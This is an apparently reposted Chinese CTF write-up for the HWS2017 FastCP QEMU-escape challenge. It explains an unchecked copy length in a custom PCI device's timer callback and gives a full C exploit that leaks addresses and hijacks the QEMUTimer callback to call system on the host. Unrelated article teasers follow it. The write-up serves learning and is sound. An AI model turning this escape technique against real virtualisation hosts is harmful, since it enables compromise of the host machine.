【qemu逃逸】HWS2017-FastCP

news2024/11/27 16:40:29

前言

虚拟机用户名:root

虚拟机密码:无密码

本题有符号,所以对于设备定位啥的就不多说了,直接逆向设备吧。

设备逆向

在 realize 函数中设置一个时钟任务,并且可以看到只注册了 mmio,大小为 0x100000。

我们先看下设备结构体  FastCPState:

在大小为 0x1000 的 CP_buffer 下定义了一个 QEMUTimer 结构体,这里大概可以猜到就是劫持 cp_timer 了。

fastcp_mmio_read

该函数很简单,就是读取 FastCPState->cp_state 中的值。

 fastcp_mmio_write 

该函数也很简单,就是设置 FastCPState->cp_state 中的值,并且当 addr = 24 时,会触发定时任务,其会调用回调函数 fastcp_cp_timer。

fastcp_cp_timer

漏洞就在回调函数中,在对物理内存进行读写的实话没有检查 CP_cnt 的大小,从而导致越界读写。

漏洞利用

利用很简单,程序本身有 system 导入符号。所以只需要:

1、越界读 QEMUTimer 中的数据从而泄漏 FastCPState 地址和 system@plt 地址

2、越界写 QEMUTimer,使得 cb = system@plt,opaque = CP_buffer,并在 CP_buffer 中写好 cmd

3、触发时钟任务,从而导致任意命令执行

exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

void * mmio_base;
void mmio_init()
{
        int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
        if (fd < 0) puts("[X] open for resource0"), exit(EXIT_FAILURE);
        mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
        if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
        if (mlock(mmio_base, 0x100000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
        printf("[+] mmio_base: %#p\n", mmio_base);
}

uint64_t gva_to_gpa(void* addr)
{
        uint64_t page;
        int fd = open("/proc/self/pagemap", O_RDONLY);
        if (fd < 0) puts("[X] open for pagemap"), exit(EXIT_FAILURE);
        lseek(fd, ((uint64_t)addr >> 12 << 3), 0);
        read(fd, &page, 8);
        return ((page & ((1ULL << 55) - 1)) << 12) | ((uint64_t)addr & ((1ULL << 12) - 1));
}

#define CP_list_cnt      16
#define cmd              24
#define CP_list_src      8

struct CP_INFO {
        uint64_t CP_src;
        uint64_t CP_cnt;
        uint64_t CP_dst;
};

void mmio_write(uint64_t addr, uint64_t val)
{
        *(uint64_t*)(mmio_base + addr) = val;
}

int main(int argc, char** argv, char** envp)
{
        mmio_init();
        system("sysctl vm.nr_hugepages=30");
        void * buf = mmap(0, 512 * 0x1000, PROT_READ | PROT_WRITE , MAP_SHARED | MAP_ANONYMOUS | 0x40000, -1, 0);
        memset(buf, 'A', 0x2000);
        struct CP_INFO tmp;
        tmp.CP_src = 0;
        tmp.CP_cnt = 0x1020;
        tmp.CP_dst = gva_to_gpa(buf);

        mmio_write(CP_list_src, gva_to_gpa(&tmp));
        mmio_write(CP_list_cnt, 1);
        mmio_write(cmd, 4);
        sleep(1);

        binary_dump("QEMUTimer", (char*)buf+0x1000, 0x20);
        uint64_t timer_list = *(uint64_t*)((char*)buf+0x1000+0x8);
        uint64_t system_plt = *(uint64_t*)((char*)buf+0x1000+0x10) - 0x4dce80 + 0x2c2180;
        uint64_t CP_buffer  = *(uint64_t*)((char*)buf+0x1000+0x18) + 0xa00;
        printf("[+] timer_list: %#p\n", timer_list);
        printf("[+] system_plt: %#p\n", system_plt);
        printf("[+] CP_buffer : %#p\n", CP_buffer);

        struct CP_INFO ttmp[0x11];
        for (int i = 0; i < 0x11; i++)
        {
                ttmp[i].CP_src = gva_to_gpa(buf);
                ttmp[i].CP_cnt = 0x1020;
                ttmp[i].CP_dst = gva_to_gpa(buf);
        }
        char * scmd = "xcalc";
        strcpy(buf, scmd);
        *(uint64_t*)((char*)buf+0x1000)      = 0xffffffffffffffff;
        *(uint64_t*)((char*)buf+0x1000+0x8)  = timer_list;
        *(uint64_t*)((char*)buf+0x1000+0x10) = system_plt;
        *(uint64_t*)((char*)buf+0x1000+0x18) = CP_buffer;
        mmio_write(CP_list_cnt, 0x11);
        mmio_write(CP_list_src, gva_to_gpa(ttmp));
        mmio_write(cmd, 1);
        sleep(1);

        mmio_write(cmd, 1);
        return 0;
}

效果如下:

坑点

cpu_physical_memory_rw 函数是直接对物理内存进行读写,所以当我们读取超过一页大小的数据时,可能会由于物理内存不连续而导致无法正确读取数据或破坏其他数据。

所以这里得分配连续的物理页,这里参考这篇博客,即使用大页内存,因为大页内存在物理上是连续的:Linux申请大页内存(mmap)-腾讯云开发者社区-腾讯云

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1170249.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Web应用多账号系统设计及微信扫码登录实现

1 前言概述 公司对功能测试&#xff0c;性能测试&#xff0c;安全测试等等都做了比较好的自动化后&#xff0c;急需要一个MIS系统来统一管理这些结果及报表。 此MIS系统特点如下&#xff1a; 仅内部人员使用部署在公网 基于如上特点&#xff0c;显然让公司的人为这样一个…

算法随想录算法训练营第四十九天| 503.下一个更大元素II 42. 接雨水

503.下一个更大元素II 题目&#xff1a;给定一个循环数组 nums &#xff08; nums[nums.length - 1] 的下一个元素是 nums[0] &#xff09;&#xff0c;返回 nums 中每个元素的 下一个更大元素 。数字 x 的 下一个更大的元素 是按数组遍历顺序&#xff0c;这个数字之后的第一个…

mes生产管理系统| T-MES管理软件 智能制造 生产协同

思伟软件 T-MES管理软件 智能制造 生产协同 智能制造协同管理 告别繁琐 不再出错 打通混凝土电子化生产全流程 提升搅拌站调度效率 原材料进料监管安全有保障 跨部门高效协同 生产部 管理销售合同、任务单&#xff0c;下达生产任务&#xff1b; 查看/修改/导出/打印发货…

OpenGL库安装

1 库安装本文不说 Win10 GLEW GLFW OpenGL VS2019 环境配置 - 知乎 (zhihu.com) 安装osg库&#xff0c;里面也有GL第三方库的下载方法&#xff0c;见我其他博客 2 OpenGL入门案例一 #include <GL/glut.h>void display() {glClear(GL_COLOR_BUFFER_BIT);glBegin(GL…

前端下载后端文件流,文件可以下载,但是打不开,显示“文件已损坏”的问题分析与解决方案

目录 场景还原相关代码开发者工具 - 网络请求记录 问题排查定位改bug 总结 场景还原 我在前端使用axios接收后端xlsx表格文件流并下载&#xff0c;xlsx文件能够下载成功&#xff0c;但是打开却显示文件无法打开 相关代码 请求API封装:Content–Type以及responseType经核对均…

使用navicat操纵数据库

<1>连接数据库 打开Navicat&#xff0c;点击“连接”&#xff0c;选择“MySQL”&#xff0c;这边是本机安装的mysql,主机为localhost&#xff0c;输入root密码。 使用Navicat创建数据库并导入SQL文件 SQL查询 普通SQL查询 USE demo; SELECT * FROM t_emp;SELECT emp…

HNU程序设计 练习四-数组(强化)

1.快速公交BRT 【问题描述】 在城市里&#xff0c;快速公交&#xff08;BRT&#xff09;线路为一条直线&#xff0c;在其线路上有 n 个交叉路口&#xff0c;在每个路口都有一个交通信号灯&#xff0c;在红灯与绿灯之间周期性循环。 在绿灯亮起持续 g 秒的期间&#xff0c;允许…

qt5.15.2+vs2019源码调试开发环境搭建

说明 一些qt文件不进行源码调试无法知道其中的原理。提高软件质量&#xff0c;从概念原理及应用角度看待必须知道qt类运行原理。 1.安装 在网上找到qt安装包qt-unified-windows-x64-4.5.1-online.exe&#xff0c;安装qt5.15.2&#xff0c;有选择Qt Debug Information Files …

mysql高级函数——GROUP_CONCAT

分组拼接GROUP_CONCAT(expr) group_concat函数 实现分组查询之后的数据进行合并&#xff0c;并返回一个字符串结果。用于将多个字符串拼接成一个字符串。MySql默认的最大拼接长度为1024个字节 应用场景&#xff1a;按照产品编码分组&#xff0c;获取生效策略 SELECTproduct_n…

漏洞分析 | U8 Cloud ServiceDispatcher反序列化漏洞及补丁分析

0x01 概述 近期&#xff0c;爆出了 U8cloud ServiceDispatcherServlet 接口的反序列化漏洞。在对该漏洞进行分析时&#xff0c;我们发现 NC 也曾出现过 ServiceDispatcherServlet 接口的反序列化漏洞。经过分析后发现&#xff0c;这两个漏洞的功能代码实现方式并不相同。但二者…

5.1用栈实现队列(LC232-E)

算法&#xff1a; 这道题就是用栈模拟队列。 举个例子理解&#xff1a; 输入&#xff1a; ["MyQueue", "push", "push", "peek", "pop", "empty"] [[], [1], [2], [], [], []] 输出&#xff1a; [null, null, …

二叉树第i层结点个数

//二叉树第i层结点个数 int LevelNodeCount(BiTree T, int i) {if (T NULL || i < 1)return 0;if (i 1) return 1;return LevelNodeCount(T->lchild, i - 1) LevelNodeCount(T->rchild, i - 1); } int GetDepthOfBiTree(BiTree T) {if (T NULL)return 0;return Ge…

Linux - 进程控制(下篇)- 进程等待

进程等待 为什么进程需要等待&#xff1f; 我们知道&#xff0c;在Linux 当中&#xff0c;父子进程之间一些结构就是一些多叉树的结构&#xff0c;一个父进程可能管理或者创建了很多个字进程。 而其实我们在代码当中使用fork&#xff08;&#xff09;函数创建的子进程的父进程…

Paddle炼丹炉炸了Unexpected BUS error encountered in DataLoader worker

Paddle训练报错&#xff0c;内存不足 python train.py -c config/ResNet_W18.yaml修改配置文件config/ResNet_W18.yaml # 原配置 loader:num_workers: 4use_shared_memory: True# 修改后 loader:num_workers: 2use_shared_memory: False

《申论技巧》

一、做题过程 做题过程&#xff1a; 四个要素分析题干 一对多&#xff1a;考虑材料之间的灵活运用&#xff1b;问题对策&#xff1b;并列&#xff1b;主材料与辅材料 多个题目对应一个一篇材料&#xff1b;答案各有侧重&#xff0c;不重合 主体内容 二、读材料 2.1 粗读…

Makefile实例

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、pandas是什么&#xff1f;二、使用步骤 1.引入库2.读入数据总结 前言 提示&#xff1a;这里可以添加本文要记录的大概内容&#xff1a; 例如&#xff1a;…

C#中LINQtoObjects、LINQtoDataSet和LINQtoXML

目录 一、使用LINQ操作数组和集合 二、使用LINQ操作DataSet数据集 1.AsEnumerable()方法 2.CopyToDataTable()方法 3.AsDataView()方法 4.Take()方法 5.Sum()方法 6.示例 &#xff08;1&#xff09;源码 &#xff08;2&#xff09;生成效果 三、使用LINQ操作XML 1.…

立创eda专业版学习笔记(8)(运行模式)

以前没注意过这个问题&#xff0c;我有2台电脑&#xff0c;都能登录eda专业版&#xff0c;但是一台是全在线模式&#xff0c;另外一台是半离线模式&#xff0c;虽然是同一个账号&#xff0c;但是打开里面的工程会发现&#xff0c;两边的工程完全不同&#xff0c;因为一台的工程…

建模与决策

&#xff08;1&#xff09; 人们老说&#xff1a;算法、建模。但其实人们口中老说的算法、建模&#xff0c;不是真正的算法、建模&#xff0c;而是逻辑。 所以我在这里&#xff0c;对建模、模型做个定义&#xff0c;那就是&#xff1a; 一定能用数学公式进行表达、推导 而且这个…

佩戴舒适好的蓝牙耳机有哪些?五款佩戴最舒适的蓝牙耳机分享

随着骨传导耳机的普及&#xff0c;越来越多的人开始了解这种新型的耳机。相较于传统耳机&#xff0c;骨传导耳机长时间佩戴不会出现耳朵疼痛等问题&#xff0c;因此成为了很多人的首选。它不需要塞入耳道&#xff0c;避免了耳朵的闷热感&#xff0c;更能有效预防耳道感染的发生…